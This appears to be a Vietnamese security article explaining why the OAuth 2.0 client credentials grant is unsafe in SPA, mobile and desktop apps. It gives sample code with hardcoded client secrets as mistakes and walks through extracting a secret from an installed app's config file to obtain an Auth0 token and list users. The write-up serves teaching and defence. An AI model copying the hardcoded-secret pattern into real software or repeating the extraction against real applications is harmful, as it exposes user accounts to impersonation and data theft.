Abstract
Theo mô tả từ Client Credentials, client credentials là một OAuth flow cho phép ứng dụng submit
client_idvàclient_secretlên OAuth server để nhận được quyền truy cập vào resource của chính nó. Request này xảy ra ở back-channel của các ứng dụng chẳng hạn như mobile app, desktop application hay SPA và không thể được thấy bởi người dùng. Tuy nhiên, attacker vẫn có thể dùngstringshay decompiler để trích xuấtclient_idvàclient_secrettừ các ứng dụng không có khả năng để lưu secret này nhằm lấy access token từ server và mạo danh ứng dụng nhằm truy cập đến các API được bảo vệ.
Client Types
Theo đặc tả của OAuth 2.0, có 2 loại client application.
- Confidential: là các client có thể lưu trữ an toàn credentials của chúng mà không để lộ cho users hay attackers. Điều này đồng nghĩa với việc client là backend server hoặc một môi trường an toàn bị giới hạn trong việc truy cập dữ liệu nhạy cảm.
- Public: là các client không thể lưu secrets, chẳng hạn như thiết bị di động, SPA app trên trình duyệt.
Misusing the Client Credentials Grant Type
Client Credentials Grant Type bắt buộc được dùng với các confidential client application. Tuy nhiên, developer có thể nhầm lẫn và dùng nó cho các public client application và do các ứng dụng này không thể nào lưu secrets nên attacker có thể trích xuất secrets và mạo danh ứng dụng để truy cập vào protected APIs.
Sau đây là một số sai lầm khi sử dụng Client Credentials Grant Type cho các public client application.
SPA
const clientId = "mySPAclient"
const clientSecret = "s3cr3tHere" // Visible to everyone
fetch("https://auth.example.com/oauth/token", {
method: "POST",
headers: {
Authorization: "Basic " + btoa(`${clientId}:${clientSecret}`),
},
body: "grant_type=client_credentials",
})Mobile Application
val json = JSONObject().apply {
put("grant_type", "client_credentials")
put("client_id", "your_client_id")
put("client_secret", "your_client_secret")
put("scope", "read write")
}
val body = RequestBody.create(
MediaType.parse("application/json; charset=utf-8"),
json.toString()
)
val request = Request.Builder()
.url("https://your-auth-server.com/oauth/token")
.post(body)
.build()
OkHttpClient().newCall(request).enqueue(object : Callback {
override fun onResponse(call: Call, response: Response) {
val responseBody = response.body?.string()
val token = JSONObject(responseBody ?: "").optString("access_token")
println("Access Token: $token")
}
override fun onFailure(call: Call, e: IOException) {
println("Token request failed: ${e.message}")
}
})Desktop Application
import java.io.*;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.net.ssl.HttpsURLConnection;
public class ClientCredentialsGrant {
public static void main(String[] args) {
try {
// Replace with your token endpoint
URL url = new URL("https://your-auth-server.com/oauth/token");
HttpsURLConnection con = (HttpsURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
// Set content type
con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
// Set Basic Authorization header
String clientId = "your_client_id";
String clientSecret = "your_client_secret";
String credentials = clientId + ":" + clientSecret;
String encoded = Base64.getEncoder().encodeToString(credentials.getBytes(StandardCharsets.UTF_8));
con.setRequestProperty("Authorization", "Basic " + encoded);
// Request body
String scope = "read write";
String payload = "grant_type=client_credentials&scope=" + URLEncoder.encode(scope, "UTF-8");
// Send the payload
try (OutputStream os = con.getOutputStream()) {
os.write(payload.getBytes(StandardCharsets.UTF_8));
}
// Read the response
int responseCode = con.getResponseCode();
InputStream inputStream = (responseCode == 200)
? con.getInputStream()
: con.getErrorStream();
try (BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8))) {
StringBuilder response = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
response.append(line.trim());
}
System.out.println("Response: " + response);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}Exploitation Example
Nhóm researcher đánh giá một desktop application sử dụng OAuth 2.0 với Client Credentials Grant Type và do ứng dụng này được cài trên máy của người dùng. Đối với Windows thì ở path sau:
C:\Program Files (x86)\Example Services\TenantUserService\Đối với macOS thì ở path sau:
/Library/Application Support/Example Services/services/TenantUserService/Trong file appsettings.json, researcher tìm thấy các giá trị sau:
client_idclient_secretauthorization_urlaudience
Sau đó, researcher tạo ra request dùng để lấy access token:
POST /oauth/token HTTP/1.1
Host: example.auth0.com
Content-Type: application/json; charset=utf-8
Content-Length: 218
Connection: close
Cache-Control: no-transform
Expect: 100-continue
{
"grant_type": "client_credentials",
"client_id": "[REDACTED]",
"client_secret": "[REDACTED]",
"audience": "https://example.auth0.com/api/v2/"
}
HTTP/1.1 200 OK
Date: Mon, 1 Aug 2023 07:38:31 GMT
Content-Type: application/json
Content-Length: 798
Connection: close
{
"access_token": "eyJhbGciOiJ[REDACTED]",
"scope": "create:client_grants read:users update:users delete:users create:users read:users_app_metadata update:users_app_metadata create:users_app_metadata read:user_idp_tokens",
"expires_in": 86400,
"token_type": "Bearer"
}Và gửi đến endpoint của Auth0 nhằm lấy danh sách người dùng cũng như là để xác thực token:
GET /api/v2/users?page=0&per_page=50 HTTP/1.1
Host: example.auth0.com
Authorization: Bearer eyJhbGciOiJ[REDACTED]
HTTP/1.1 200 OK
Date: Mon, 1 Aug 2023 08:15:31 GMT
Content-Type: application/json
Content-Length: 1024
Connection: keep-alive
[
{
"user_id": "605b72a6e7a3e80015d7a2b9",
"email": "alice@example.com",
"name": "Alice Johnson",
…
},
{
"user_id": "605b72a6e7a3e80015d7a2c0f",
"email": "bob@example.com",
"name": "Bob Smith",
…
}
…omitted for brevity…
]